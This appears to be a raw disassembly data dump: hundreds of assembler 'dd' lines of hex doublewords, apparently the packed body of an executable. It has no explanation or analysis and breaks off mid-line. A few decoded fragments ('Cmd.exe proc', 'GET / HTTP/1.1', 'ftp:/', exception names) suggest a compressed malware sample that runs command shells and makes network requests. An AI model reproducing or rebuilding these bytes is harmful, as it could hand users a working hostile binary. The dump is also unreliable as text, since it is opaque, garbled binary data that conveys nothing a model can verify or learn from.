333B00BBh, 7FFFFFFh, 2343003h, 2037525h dd 746F6220h, 20297328h, 6E756F66h, 69772064h, 2C026874h dd 7320FF63h, 6E697274h, 73212067h, 966C3B2Eh, 7325BEC8h dd 32161B23h, 2086DB76h, 2007200Ch, 5E690F28h, 29DB21FBh dd 202D2D78h, 2D2E694Ch, 0F604DCE6h, 0A73A555Bh, 0DD601F3Eh dd 4BC714BFh, 136C6C69h, 0FFFE4C00h, 1FD7B542h, 2E646D43h dd 20657865h, 636F7270h, 0DB6C7365h, 683BDFF2h, 74207361h dd 616D7265h, 43AB6406h dd 0B2DBEDB6h, 20566E6Ch, 8616572h, 6C611564h, 0DBD6D86Dh dd 21306D2Bh, 0B6B56343h, 45009F6Dh, 7D721372h, 0BB4F6668h dd 0FDB1B76h, 63B27563h, 0EF616D2Ch, 0DB0A0D28h, 36F6B5Ch dd 4B6D6552h, 6866321Eh, 0EF6B7652h, 706F3FDDh, 1B9F6E65h dd 75766951h, 84B78425h, 6C216913h, 0B8FB6D6h, 66322E30h dd 0E92D730Eh, 0BB9E1013h, 424B3319h, 3B4B162Fh, 1661D817h dd 570C56h, 0DB6D97B2h, 532F6277h, 741F7482h, 85EC756Fh dd 725403DBh, 3C6673E7h, 4A666F20h, 0BB5B958h, 6CE11F63h dd 0D95F9F6Ch, 647A4BACh, 100329Dh, 0F6C6C744h, 214343DBh dd 20444E45h, 21220F22h, 0BC622464h, 105B6F7h, 373C1AE3h dd 0DBEE654Bh, 72132903h, 0A100F0CBh, 749912E0h, 0D80FF700h dd 12436DB6h, 67044C2Dh, 75623AEDh, 7656F6B3h, 191317BDh dd 0BFDB8D1Bh, 544547FBh, 488B2F20h, 2F505454h, 15302E31h dd 60696F48h, 3B75EC24h, 2AF32173h, 7F8D4858h, 6E776F64h dd 24096F6Ch, 42E36E73h, 628E55C3h, 0F850A42Ah, 617B0A78h dd 53277472h, 66956375h, 0DD923030h, 58796CB4h, 0C92D7C51h dd 1A32BB81h, 1CF62C48h, 0BB565BBh, 0AEC7075h, 9B66C35Fh dd 6966DE06h, 0B5F75D88h, 70916DB6h, 65156934h, 0A6032F43h dd 3A591DB6h, 704B73BBh, 0B6134FEEh, 3A354ED4h, 36346C11h dd 0A8DFB468h, 74662439h, 3D2F3A70h, 5DDB5821h, 2279605Ah dd 32437375h, 0B0160331h, 3D52D9h, 74333038h, 4DB65B0Ch dd 2F431B52h, 7235739Bh, 846C1FCh, 2F1F9FB3h, 0ADB3AF73h dd 0C4741B77h, 75E70A65h, 595BD90Ch, 446F1038h, 2563D85Bh dd 246F3AABh, 28DEB11Dh, 51343023h, 0CB6845CCh, 0BF3A4955h dd 2D1330D6h, 20B6B420h, 70A97FA3h, 62EFF727h, 4D826775h dd 0A875646Fh, 4BA7F70Eh, 9457415Bh, 68737C63h, 0DDA376ACh dd 4E731878h, 4165B03Dh, 761C0658h, 3830F6C8h, 43420858h dd 0D87B4411h, 49538790h, 1A504208h, 0D8721FDh, 4C464908h dd 9E534741h, 0B8C2B63h, 65884B2Eh, 9A9317DCh, 107D9DA3h dd 0FF230045h, 0B8758D80h, 0D952BB75h, 45435845h, 0FE495450h dd 4FEDD81Fh, 54465F4Eh, 54530F00h, 5F4B4341h, 5245564Fh dd 0DEC26DB5h, 574F19h, 43034E1Bh, 0D92C0E02h, 554E0ABFh dd 454C4241h, 4923185Fh, 0DFCBEDB0h, 49445F1Fh, 42444956h dd 465A5F59h, 0CDEF434Fh, 4C49BDBDh, 4C414739h, 55526927h dd 5EE61343h, 421F6138h, 504B2A52h, 0DA37464Fh, 9516D6F6h dd 5F535309h, 5DF74F58h, 73C8FB7Fh, 6748544Fh, 70647500h dd 72124900h, 0F6B9B0D6h, 4774656Eh, 6308FA02h, 0DDF55391h dd 5B71236h, 77F87845h, 2E1E69FDh, 0A5DA176Bh, 50009464h dd 4365B118h, 0D151E02h, 1B379A18h, 0B4740011h, 17D7EFB1h dd 8662363h, 7DA364CFh, 29BF1C25h, 0A23B671Bh, 77BD93FBh dd 0B0E656Dh, 3273771Ah, 3232335Fh, 1EE022CCh, 7C4E5700h dd 193B825Eh, 32D17EC2h, 41411757h, 4B2B6D48h, 28132C58h dd 167BDC6Dh, 1A60B12Bh, 0BAE96C41h, 0D6DD73FCh, 0B751823h dd 531B974Eh, 0F0656863h, 967F739Fh, 26626F4Ah, 69702FB3h dd 0CF667542h, 0F75D660h, 1300CF46h, 0C64F54FEh, 44B06256h dd 1C6F530Fh, 58B32B45h, 0F6DD83Bh, 0E2E7355h, 92C9700Bh dd 17B644B5h, 0D9420B57h, 4969684Eh, 61676E1Ch, 35B12C05h dd 698B001Ch, 7AE661B9h, 33ADB3C2h, 0A630963h, 6E41CB53h dd 260AE893h, 0CF6E28B6h, 0D86B27ADh, 0B17B2D2Ah, 0A76F376Ch dd 0AFEE1253h, 841CF51h, 658494Eh, 0DA7C0C43h, 0CE6E3512h dd 54FC6469h, 6AB9B07Ah, 6DE7763Dh, 0E903B287h, 2049D87Fh dd 0F7723131h, 33FFFEh, 0C6AEB58Eh, 0A6BBB6FEh, 93D8D8A7h dd 31037CE3h, 76792E30h, 8E39DBECh, 2E383631h, 732370Fh dd 605D3732h, 2E8616D8h, 313A5F02h, 0CC26CAC1h, 0F3A130Fh dd 9B0F5AB5h, 474C0793h, 966193DFh, 72B135A1h, 43443D0Bh dd 0C5AB17B2h, 1723FDEAh, 6B838C10h, 0BFD9F846h, 0F166CEC2h dd 1FEE5090h, 30411373h, 0BF0E5E38h, 460D4C86h, 7973C685h dd 3437E7CCh, 0D59B3A1h, 4252ECBh, 9C0DD773h, 25F500D0h dd 8B2D7027h, 3A5461D0h, 62EF0FA7h, 30CBDCEFh, 7475832h dd 554B4813h, 72790653h, 4D4C073Bh, 0C1525543h, 438BEDBAh dd 3A8C28Dh, 0A6900798h, 64889A69h, 0D3203454h, 0C6ECB35h dd 0E48CF403h, 0DBC07D0h, 9C4D34D2h, 4C5C6C88h, 0D34DA2C9h dd 0F0102403h, 0D4BF1F8Bh, 63B4A97Fh, 0BBA7A79Ah, 0FFD6B6AEh dd 0C89BB2CBh, 1FCBB69Ch, 0ADF9FFA9h, 0A7B8A4B0h, 77C493B0h dd 98A1A790h, 0FFECBBA4h, 93EC3FFFh, 0B83393CEh, 0A184A9B2h dd 0ABBCB5B7h, 0DBD6D899h, 8BC390B6h, 0FD899EE2h, 0BCFFFB07h dd 0BBA9A3B1h, 0E593E5D6h, 9CC580A1h, 0BEAE9827h, 0ACB1E69Bh dd 0FFD8CDADh, 0B28A3787h, 0A78187B6h, 8EA7E6A2h, 0A4AA0FD3h dd 0FFFF6032h, 91E8A6B1h, 0EEA5D483h, 94C39DA4h, 0B89898E2h dd 0FFFFA42Bh, 77ABD81Fh, 8CB7ABAEh, 0E8A7A3A7h, 81C2938Ch dd 8682A5F8h, 82ABABBFh, 8DAB761Dh, 1FA4B813h, 15B0F9Fh dd 8933C86Ah, 0C293035Bh, 0D8D8723Eh, 0FA8E1382h, 5793BAADh dd 0FCAAD61Eh, 9AC68E87h, 0BA9CE777h, 5F606EE1h, 0BAB1A6A7h dd 0A7A13B4Fh, 0FFFA10B3h, 8E975807h, 0F999D199h, 89D6A8F7h dd 0A98BB0AEh, 83FD5AA0h, 951F8BB9h, 0A687BEADh, 2FACB1FAh dd 0FC1B7FCh, 0A68D1FBAh, 0A79BF4A0h, 0F72FC084h, 0F083D3BBh dd 0B0BB56FFh, 84F4AD85h, 0D395ADBAh, 9A3BE485h, 0C84FD80Dh dd 0B1B0ABB1h, 43BB9BB8h, 0FFFFFFB5h, 0D689BDB6h, 83A1AD87h dd 0AEE39FC4h, 0B68CE7C9h, 0BDBA87B1h, 0A5E2B1A0h, 7BE184D3h dd 0BEEC3F20h, 9537C38Ah, 3A89AAB1h, 70340729h, 5C5C6689h dd 0B96C70A6h, 346EBB72h, 0FB53D048h, 5CD37774h, 36EC6A4Dh dd 73B97B5Ah, 0E0575C0Dh, 1B8B6BADh, 435C732Bh, 561C729Eh dd 0AE756E2Bh, 5C7073A6h, 9D402F52h, 0A54A6F68h, 6630A6A5h dd 5A9C3AA6h, 97B5AE46h, 61676138h, 4C0C0D30h, 0F6D1ECD9h dd 4483A41h, 0A0F4046h, 0A150C9D1h, 0BC1BA837h, 6BD43594h dd 38204F67h, 0CEC11625h, 6162635Dh, 0E2BC8074h, 58952A3h dd 0F5720F70h, 63C37360h, 86698540h, 3AF025ABh, 7CFC6895h dd 2147A5D2h, 736B897Ah, 0C14E2EBBh, 8683E21Ah, 0B94E0403h dd 33D6336Ah, 6204810Ch, 23333236h, 20C8B53Dh, 2EEF3064h dd 61FFBC08h, 0B1940002h, 0BBABC6B7h, 974F3EB9h, 37A5FF8Ch dd 0D8A3BAA6h, 0F9FA99D5h, 7E23778Bh, 0ACECFFD8h, 0A39D0BB1h dd 0BAE685ACh, 9E1BBCB1h, 7F8FB6ADh, 33978C19h, 7BA7A9FAh dd 0A7A58D97h, 0D3A1E6BAh, 99FB3D2Dh, 0A2F6D8DBh, 0DF90E813h dd 0FD9803B4h, 544D3692h, 0F38FE43Ch, 86AEAD9Dh, 2FFFA5FBh dd 0ECACB5D3h, 0F29BD791h, 98DFC7A4h, 0B7E66BAAh, 0FEDA5BBh dd 1F8DFFF8h, 0B596C2C6h, 0B0B5F7B7h, 0D19FB1E7h, 0C6B3F298h dd 0FEB296D6h, 6BDFFFFFh, 0A9ADFBB8h, 0A9D999AAh, 0C383B2F5h dd 8DB5A78Eh, 0BC8BE6ACh, 0C79BC7AFh, 0D891B2B9h, 8C49FFFFh dd 0A98FF7B1h, 0F3BBB1B9h, 0FA9FCFD8h, 96C5C7B0h, 0FFFF6FAFh dd 0C5ED5FFFh, 0B1B8C799h, 0A4C895C6h, 0E6FCD9EDh, 0C6FAE5E3h dd 0E3BA9382h, 0EFC0C0D1h, 0FFB7FEE1h, 0ECF98BFFh, 0C7A3FDF9h dd 0B5A4CFD2h, 0F1CC9EDCh, 0B5D3C7BCh, 0D598BBBBh, 8CAFF2D8h dd 0C2E0907Ch, 0F7FF9BB3h dd 0FDB9A78Bh, 2321EDEDh, 0BAAC89ADh, 0D9AFA0E7h, 0D49BA2F4h dd 0DFFFD79Ch, 8FC7362Eh, 93AEAF3Dh, 0BBF899E2h, 8B8BC78Bh dd 17BC9BB7h, 25F09CBFh, 0EF93986Fh, 848D47B2h, 0E6A6B5AAh dd 0B7B2C0A1h, 0FB91D3A5h, 2795ABB2h, 60C51C0Ch, 65930753h dd 98DC4A30h, 534F1520h, 395B9059h, 3F5CC64Ah, 0AD6C7670h dd 850E6235h, 620D1102h, 17CA8EE3h, 50696408h, 6DEC3A55h dd 12D87DB0h, 147A484Dh, 0D03AA052h, 1196AD65h, 25200AC6h dd 40ED46F5h, 3676B420h, 6B2993Ah, 70D6896Dh, 5733D382h dd 0DED5B603h, 3D685379h, 30105A2Eh, 0CCDF000Eh, 6B1D161Ch dd 4E6EEA20h, 2473014Ch, 8700FB0h, 727120Dh, 0DB196F13h dd 53C17837h, 52418B83h, 45035744h, 0A360DA31h, 95539E5Ch dd 0AEA53E49h, 1C5C84D6h, 7D721114h, 64C745D0h, 4EE85C36h dd 0DF3E59D8h, 32F077CDh, 333030h, 0B005058h, 0C9454D30h dd 395DD745h, 7542338h, 0C396FF35h, 0A554A1B9h, 3F6Fh dd 0C3435B6Bh, 772B5882h, 0C596B51h, 93800908h, 607C84C7h dd 540FA86Fh, 5ADA7079h, 1C46848Ch, 0D1C8775Dh, 152FC581h dd 28B9144Ch, 7965DB2Ch, 0B888C112h, 9BAD780Ch, 2B70274Bh dd 0C5D8488h, 43525771h, 88B9F892h, 7CBAB45h, 16E57641h dd 0F86C1568h, 14F04279h, 0A32A945Ch, 0C255A0A0h, 7F7F00A1h dd 866E6B6Eh, 0AED71303h, 5C511205h, 0F16F5447h, 54CB6C19h dd 73714620h, 0A15975B2h, 9B17DE03h, 35168C61h, 50630DCCh dd 0C8DEDC37h, 0F5F612h, 0C01F2D0Fh, 0E3D6C82Dh, 6DA47587h dd 302D564h, 6BB2BFh, 562D6463h, 3A045A7h, 78630822h, 4C039E37h dd 0E3760FF0h, 0D84973Fh, 0B5121Bh, 0C061CD17h, 900B587h dd 27677462h, 6E8E688Ch, 5D7F2011h, 6819E08Bh, 30EF08B5h dd 0BD5E2393h, 7EC2484Dh, 2181B6C5h, 0C62AD051h, 0A137B32Ah dd 0E7B6EF21h, 4D9B6057h, 70FE7882h, 425272EFh, 2EDD4ECBh dd 860BCE1Fh, 2F11DB0Dh, 801A3608h, 538525ABh, 4CDF14CDh dd 0AF76BA6Dh, 4D43490Fh, 5B60CE50h, 99197EABh, 0F664830Ah dd 0DB0110h, 3A38032Ah, 36EC01Dh, 6D05271Bh, 36550473h dd 24C564Bh, 0D971482Bh, 293187ACh, 5865EAFBh, 936C9A1Ah dd 0CB62C403h, 6D63E36Fh, 6F6C4370h, 780FAD48h, 4F4744CFh dd 0FDFCA45h, 753BDD1h, 0D92F48E1h, 118E192Eh, 73177C30h dd 0EBE95BADh, 66F7A61Ah, 680C3C74h, 0EDD5ED95h, 203E0B9Bh dd 70093C5Bh, 990BA463h, 3CA76BE1h, 70090A1Ch, 0E13B1555h dd 435DDA2Ah, 0D84FE16Dh, 34F1213Ah, 75517333h, 2A047994h dd 2EF98C24h, 59D91A24h, 2671A3B1h, 4591685Fh, 8E033C53h dd 1A81B6AAh, 0B52FB791h, 98ABBAh, 4800A3F2h, 371D026Fh dd 0E76665D1h, 63132173h, 698EEC52h, 29F608Fh, 35C0E11Fh dd 0EF96690Ah, 2854DDEAh, 6B3325ECh, 3703351Eh, 9D9BACFBh dd 5807320Bh, 1590C454h, 722A5C14h, 7B353239h, 7B351F0h dd 80DF80F9h, 6026C8CEh, 9013026Bh, 4EE43C9Fh, 0C5582C68h dd 29E403A0h, 0D06C68C9h, 59C06B50h, 59DCE83Bh, 990A33E8h dd 3233E75Bh, 0BEC3EC4h, 408308B0h, 72A82F17h, 25F0701h dd 7518081Dh, 0B2ECE0B8h, 6484941Ch, 0FD94868Fh, 0E806F8E0h dd 34767069h, 54AC6720h, 34A6568h, 6F0F9281h, 6C30E081h dd 22E7D90h, 3E7652BAh, 0ECF33FF6h, 63465F10h, 23626420h dd 979A4EDBh, 7D923349h, 2711BA18h, 80810737h, 43388C8Dh dd 28382476h, 9944EE05h, 0AC365B09h, 90335D68h, 6007B00Dh dd 7C262322h, 3C34C813h, 46536AA7h, 0D38CEBAFh, 0A2674363h dd 0A5B2DD50h, 0E3A8AF61h, 0C9C20FF1h, 46C8784Fh, 0FB461805h dd 0A42278h, 327EC0EDh, 0EC267EA8h, 59433756h, 4C2E0338h dd 939B0AB2h, 2D9E039Ch, 308A7881h, 0F6A79978h, 99612C2h dd 2819D263h, 7A3B1371h, 204FB0F6h, 0B23901Eh, 60AF5E10h dd 9E49C52Ch, 4A0BC245h, 0F64F4D07h, 28A07EC9h, 1597907Ah dd 919B1113h, 0E0E08BD5h, 0E6440703h, 0DBED6D20h, 0F1E24D5Ch dd 6E034514h, 2727D9CBh, 5136F879h, 1B5021F8h, 0C9F3F30Ch dd 0C3383B3Eh, 0B0429013h, 52415073h, 4E12E254h, 14FE20F2h dd 4AFFAA88h, 95CF6D96h, 17221F1Ch, 62AC2362h, 0C047AC90h dd 24ECBD43h, 729D50FDh, 56EB3304h, 0D85F3763h, 0CF93E40Fh dd 423C479Ah, 23410B60h, 42764F1Bh, 15D3957Eh, 4F698D98h dd 8610DA78h, 0C9248BE3h, 97101341h, 2807EC0Eh, 3B774003h dd 36653A62h, 870D185Fh, 642A9934h, 512EA0DFh, 24EAEA55h dd 6FE17449h, 61D939CAh, 6DBCABC1h, 6E653B4Eh, 0F23807h dd 2209020Eh, 0F88B21F6h, 96E70064h, 7D33109Eh, 0D8F203D9h dd 8A4053Ch, 0A20B1622h, 0F0920C17h, 0CF179764h, 80A660E7h dd 85EC1E64h, 907BFC35h, 5864574Bh, 0FC976415h, 88A02310h dd 0BDE22D9h, 0FB09B0BFh, 0E53CCCE8h, 0F90FD38Ch, 0F15561C7h dd 61207E40h, 0A067270Bh, 0E109E120h, 0F7608397h, 0D897AE1Fh dd 4EE72BAFh, 980F92F2h, 0B8615D6h, 86C44A38h, 0AF05F5E3h dd 9569B2A6h, 50CF5B0Ah, 566B4C08h, 0A3448CD0h, 634A2257h dd 3C43266h, 0F177DD1Ah, 0DF6568BDh, 796C723Ch, 0FED7372Eh dd 29922D59h, 52422336h, 4E454B4Fh, 1DFB59D8h, 2330F1Bh dd 0E78A0B0Dh, 3FFFFFFEh, 0CD818BACh, 8196F4BDh, 0D6C3D39Ah dd 0FDD3F9B9h, 0C8AAE7D9h, 0E6FAEE95h, 0D8C5D3E2h, 43F21F90h dd 2E78970h, 0B7B3F8D0h, 3F607FFFh, 0C2C28390h, 9D81BB0Fh dd 9E9C8FAEh, 0E7A68F83h, 3F00C3A4h, 0BE81FFECh, 0EAF0A0FEh dd 0ECE3FEDCh, 0ABBD1FF1h, 1F81BEh, 9827BFF3h, 83D299B0h dd 0E2A0A3F4h, 0FF9F8D7Bh, 0BCF929FFh, 8D86959Fh, 8BC3B896h dd 0B08BD3AAh, 82BC86BCh, 9FB1BAB1h, 8C9E11E4h, 0FD30FFD9h dd 4FA19701h, 0B09F1D29h, 265A7927h, 3231660Fh, 442BA838h dd 66894789h, 1C7EC90h, 77A309F6h, 705160B2h, 0C0FB2B14h dd 6E65E498h, 2320633Dh, 0B2413323h, 176CB193h, 6BAF99C3h dd 66180330h, 64C6BAC8h, 10FC8716h, 1D179FBh, 27C8F84Eh dd 304BD63Bh, 0D1B7146Eh, 911A80A5h, 3F189EF8h, 49400421h dd 0FEE5EEBBh, 56495250h, 3547534Dh, 33B1F54h, 9A683D3Ch dd 0B3E2CEEh, 2F243D21h, 0FC3AED58h, 66240F36h, 0D4830B8Eh dd 846CAB37h, 24842457h, 88445F91h, 248C6E76h, 89576E75h dd 0C8943B42h, 0E0043631h, 973706Ch, 0E3262617h, 8401B729h dd 3AECB304h, 5A9154C0h, 373600BAh, 0E45989F3h, 63032BAEh dd 0B80B7525h, 0AAF75365h, 42038B47h, 964E55A0h, 4C41C04Dh dd 0C2D8CB2Fh, 536305CFh, 544F4E53h, 5174519h, 0D818ABh dd 9D8187F0h, 73A2B47Ah, 432BF325h, 1ABD84B1h, 17202B2Fh dd 173EC96Eh, 5D072B2Ah, 33337F5Bh, 917EE97Bh, 401B32h dd 3534300Fh, 61F9731h, 4F481E07h, 2067EB53h, 7858782Bh dd 67698DD9h, 730F3130h, 0D175DD6Dh, 0F3137B52h, 5260313Fh dd 8A35B6ECh, 50746C6Bh, 7014714h, 1728580Dh, 0CF53B3AFh dd 731F4C85h, 67659F37h, 12BF6467h, 0E8359684h, 0CC362E31h dd 6434281Fh, 1E59D4E8h, 1D96281Ch, 34298DF6h, 0B01243Ah dd 0F0030A70h, 846BF678h, 40732D8h, 8C0BA7FBh, 4F6F66F7h dd 91CF0781h, 36DFA053h, 434297ACh, 48474630h, 7FA34A49h dd 2424D0BBh, 54605150h, 58575655h, 0C6BD5A59h, 673ADED6h dd 6C6B6A63h dd 2B71B6F3h, 0B7E170A1h, 787776F8h, 320E7A79h, 0BDF32F33h dd 387D5648h, 432F2B39h, 702E8F0h, 282D0887h, 98397785h dd 0F7383401h, 0E2996341h, 703C86C3h, 0EC30BF8Fh, 42120FF0h dd 5C28F5C3h, 8A0DC28Fh, 2735D300h, 770001A7h, 4B750376h dd 0C67FDDFDh, 6777F326h, 7277F292h, 0F9D4630Bh, 362C377h dd 0FFFF5162h, 0B8036F90h, 0FB717564h, 771AB7Bh, 0ED773AD5h dd 5C7C941Eh, 91610756h, 8977DBFFh, 0B877FD1Fh, 6677E216h dd 0F02A82DCh, 0FFFCA81h, 2ECD9D44h, 1BFFFF9Dh, 0EF745AAAh dd 9D5E21B8h, 0AFFA8B4Ah, 75AFEA75h, 24E7FFE7h, 11EF641Fh dd 2836A703h, 0DEF7BF3h, 2FA0F7FBh, 3A7037Ch, 0B7139BA7h dd 94A7D818h, 0C330030Bh, 48C0D3DAh, 1167F7Bh, 0C1B3429Bh dd 0A00101BAh, 0AD06C0A4h, 3FFFE767h, 8A885D04h, 11C91CEBh dd 8E89Fh, 6048102Bh, 0EC8D581Ch, 81F31A99h, 7BDB0B07h dd 386FFh, 7FFDE0CCh, 7F0B03h, 23967BEEh, 3E503E8h, 0FE170477h dd 6849FFFh, 5824321Fh, 6445CCFDh, 0DD70B049h, 962C74AEh dd 0D5E60D2h, 0C9B9F721h, 7F0B701Bh, 9A5F077Ch, 10E6FFFFh dd 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0C4F94D0Ch dd 33425B0Fh, 0BAADF00Dh, 0ECF4A827h, 606E7F89h, 454D036Fh dd 0A2FC574Fh, 6578BCEFh, 0FF033887h, 0D9E70330h, 0C320EA0Fh dd 0C8350810h, 6F844300h, 0D417BC18h, 0F6F70797h, 0C401FEC5h dd 6400CD28h, 1F0BCD29h, 324373B9h, 0FAB4364h, 4324A6A5h dd 0ADA42432h, 3242F89Ah, 5B6073AAh, 82BEF758h, 78EC9F75h dd 0BD10D3DBh, 50D7B019h, 2088B64Fh, 0EC08161Ch, 485F00B3h dd 23F21348h, 6006603h, 27100209h, 3DE327Fh, 0B30C1978h dd 98D8701Bh, 844F9893h, 0D2FEEE49h, 0BE3DA911h, 3257B257h dd 0E7803100h, 0B613893Bh, 0B431800h, 24320360h, 0C0F73093h dd 0A41FFF3Bh, 0C5811301h, 0E800317h, 99994AE9h, 0D80C8AF1h dd 6F50FB08h, 0E302857Ah, 7AB230E7h, 6E5F2312h, 970DDACBh dd 0F0192C05h, 70B0C2Fh, 26CBB184h, 7F103F2Bh, 965C472Eh dd 596829A2h, 1A8B680Eh, 0D36B23B0h, 5C07208Fh, 877816E8h dd 24D10735h, 12B93105h, 5535606Fh, 61350034h, 6DAB760Bh dd 647B0190h, 776300DDh, 428B1AB3h, 64AF2D1Bh, 2AD8BF6Ch dd 28F77B0Ch, 0FF010B8Ch, 3FB76E59h, 2180310h, 9D1616C6h dd 1C550313h, 0E581C998h, 5C0A0DBEh, 87D62F5Fh, 0FFF4FA00h dd 4AB8050Bh, 7D1C4D9Fh, 1E8611CFh, 2577CD3h, 87C8359Bh dd 77FF0053h, 4D05E324h, 75757DFFh, 47C6EB40h, 0A74E71BCh dd 0F605C212h, 97B5D01Ch, 3E980931h, 3F13496Ch, 1C68A3DFh dd 465BC209h, 133759C0h, 0A1705007h, 5FC721Ah, 788A26F7h dd 5304A87h, 7B0AFB24h, 2CB7CFA7h, 19EB10EBh, 76504EBh dd 6F927001h, 41730F59h, 0F0DD3723h, 0EBE32C0Dh, 18759F3Bh dd 0B3F5900h, 0FEA01B0Bh, 627B758h, 851EF42Bh, 424D53FFh dd 42EC6572h, 5318A16Eh, 62B6FEC8h, 0FE2DA1BFh, 4E204350h dd 53575445h, 474FEF4Bh, 204D4152h, 102B502Dh, 4DBF172Dh dd 0AC516623h, 80210A02h, 0E8362D42h, 5367C357h, 2DBADCBCh dd 52330EB6h, 234D2761h, 404A5832h, 32D01730h, 0E505EE36h dd 544E0ADFh, 204D4C20h, 108BE730h, 0A49E4640h, 0E3090773h dd 0CA1B6C2h, 11C4A4DBh, 95A8A60Ah, 0BFD481A8h, 524B5E69h dd 0AC5847C2h, 82973A50h, 1295E008h, 35B18Dh, 77916E24h dd 99EF6CF7h, 132858Dh, 0AC398C09h, 0CF7320E3h, 30CD3523h dd 0C89CF24Eh, 8ABDA0Eh, 0C935DA20h, 9F570324h, 2106C103h dd 47DF1E82h, 1E46E707h, 64090h, 1F011006h, 0F8DE5FFFh dd 0E0888A15h, 44004FF2h, 7A6A1981h, 1C49E4F2h, 2530AF28h dd 0F6044DF2h, 53671074h, 75DF5CE1h, 14B468EBh, 8666A29h dd 37B6EEBDh, 61E331A3h, 36072E4Dh, 0EA153800h, 772E46C6h dd 0E9491B30h, 62D9D873h, 633F003Dh, 7CBCB64h, 0DC08A2C8h dd 18004004h, 483ACDEh, 7DA5DEAEh, 11A9019Fh, 402C2613h dd 0DC346D28h, 8B117FF7h, 0D374D96Ch, 0BA790A70h, 9C6B7B64h dd 582AAC25h, 4A109F5Bh, 0EBAEB621h, 5413540Eh, 5963265Ah dd 6B095C22h, 0CBC7E7D2h, 0FF83D345h, 19BC81Fh, 10B810B8h dd 3919286Ah, 11D0B10Ch, 9200A89Bh, 0C0F920DBh, 0F52ED94Fh dd 0E4F40CA3h, 602E7C95h, 0CA00CA0h, 3C803239h, 0A0000CB1h dd 6726C90Ch, 0A30C883Dh, 0B25907ECh, 1495E11Eh, 707C4F40h dd 1E079740h, 4311BD91h, 79857813h, 0EC05F09Eh, 0E9A65BABh dd 2FF81013h, 273C7A4h, 230EFEFFh, 0C3074932h, 8408FCD7h dd 93C94388h, 10B9F74Fh, 0B801FFEEh, 0C8200C10h, 0ADE4D987h dd 0F7F070Dh, 967C95D8h, 70011857h, 401B0F84h, 0F84E43Eh dd 2000F95h, 7931487Fh, 6C0F84F2h, 5BD9570Fh, 6FA87095h dd 3F8B1343h, 0EC4F11ABh, 0E4FF071Ch, 0DFFED944h, 123C01FEh dd 1C037515h, 0B68ABA75h, 0D01E5042h, 34281242h, 3AD68353h dd 3C0B8A15h, 8DAEB383h, 2A451C42h, 0DB080228h, 7F677830h dd 0EEA51B00h, 5B592427h, 28992F2h, 9A20013Ah, 0B8179A61h dd 0C0A2460Ah, 2B6B6360h, 2349005Ch, 0C8573924h, 375CE0CBh dd 0AD082001h, 9205768h, 65449353h, 6A578850h, 0FFC9132Fh dd 324FC8FFh, 0D316704Bh, 5A781201h, 0E16EBF47h, 2E030388h dd 66879027h, 3902507h, 81D3C1Dh, 1C5CEB70h, 88E00408h dd 0F85C14Ah, 0A34A13D6h, 505C0323h, 7F5C455Dh, 2592E58Eh dd 304312Eh, 4221001Fh, 0C91EC2D6h, 16384E8h, 613B9307h dd 0CBD7C803h, 0ABCA0490h, 0AF2E6C9h, 7CC901C8h, 0C90E0480h dd 4805E43h, 4800487h, 4F27E48Fh, 72B30468h, 215A381h dd 616A5901h, 67858707h, 77DD607h, 0A98504EBh, 470A1D08h dd 89D4915h, 4089ED23h, 2C41FFFEh, 0D2268627h, 5EB3A059h dd 6F8800AAh, 195D2C5h, 0BD5A5A90h, 0C8642B2Fh, 9966FF68h dd 78AC0642h, 0C10010C7h, 13238D9Ah, 0BB725C8Ch, 0B9655C84h dd 78CF0965h, 0C8572172h, 0C9400010h, 4054FFFFh, 3D8D9F4Eh dd 8F11CEA0h, 3E000869h, 11B0530h, 12B59173h, 0F60A3B4h dd 3CEF6179h, 3CA35F08h, 4E084D08h, 200C8Eh, 0D824083Ch dd 40F57204h, 0EB076EA3h, 52C736EEh, 3154012Ch, 3590053h dd 84C13D54h, 0D4DAE09h, 5D83F1F7h, 0E0573416h, 900BC09Ch dd 60EDF201h, 708EB00h, 767A1567h, 1B01FB23h, 444F4856h dd 0E4009088h, 33080047h, 1013C79h, 20DF4617h, 0D0FB048Fh dd 7F56767Fh, 129F7496h, 60077D7Fh, 535B03EBh, 0D155DFFAh dd 3199E8C3h, 13404C0h, 315B50D8h, 0EEFFF6D2h, 240ED37h dd 10504030h, 28C22841h, 4E2C0C6h, 4EAC166h, 4BFC0B0Eh dd 2F630FCh, 18F2803h, 31584313h, 0D55902C9h, 2FDD6C9h dd 0BD3143D0h, 158FC77h, 88C2C008h, 4F02FC23h, 1E7655Bh dd 0B9BF0195h, 164AFF4h, 0AFA8BD80h, 0BE277D8Ah, 8CAB84F4h dd 18929F8h, 0E7E718BFh, 138DDFFFh, 975201B0h, 11D059CAh dd 0A000D5A8h, 51800DC9h, 0FFFF08BEh, 1D55B526h, 46C5C137h dd 8F6379ABh, 69E8682Ah, 7C9E0493h, 0F579E79Eh, 27FCF9F8h dd 0CF3CF801h, 3F372FD3h, 20044140h, 1FE9EFD0h, 458D4342h dd 0F3CF8B40h, 2047EF7Ch, 4A4922DCh, 0CF004D4Bh, 4F4E3CF3h dd 0C3889F98h, 9119D966h, 3939205h, 2E59324h, 1196C3ECh dd 99219732h dd 0C54AEBA6h, 3D3C4F4h, 9AC807D4h, 0C09A69A6h, 0A0A8B4B8h dd 0B35D3498h, 908AFC6Ch, 80840388h, 0D35D34D3h, 60136C74h dd 0D34D5058h, 40444D34h, 2830383Ch, 34D34D34h, 8101820h dd 64EEBA04h, 0C3F800D3h, 3EC07F0h, 0A69A69E4h, 0D0D8E069h dd 0F99DC0C8h, 0B0B8A69Ah, 3C39740h, 0D74D3494h, 3B888C34h dd 0D36C7480h, 64D34D34h, 50545C60h, 4EEBA69Ah, 3B380348h dd 0AE202830h, 1869A77Bh, 79714h, 0E99CD98Fh, 3C2F8CCh dd 0C29300E8h, 9D34D34Dh, 0C4D0DC03h, 4D34ACB8h, 8CA034D3h dd 17606878h, 30D74D26h, 6720283Fh, 0D74D41DFh, 271C244Dh dd 8140318h, 36E74D34h, 32FC1FCh, 0D3DCE4F0h, 0D8D34D35h dd 1FCCD0D4h, 34D34DC8h, 0B0B8C04Dh, 34909CA8h, 8434D34Dh dd 6068707Ch, 0D967B669h, 98589250h, 1050440Bh, 48AEC25Eh dd 67C14003h, 0DDF3C138h, 2CBBB085h, 0FBC1240Fh, 18140F1Ch dd 375D3DDh, 0C0041B0Ch, 8C13C0ABh, 0F05DD74Dh, 0DC03E80Fh dd 3423C0D0h, 0CC2EEBDDh, 7FF500Fh, 34D3B844h, 3B0D74Dh dd 9098A0A8h, 5D3CD180h, 0C088578Ch, 8EF853C0h, 784B5630h dd 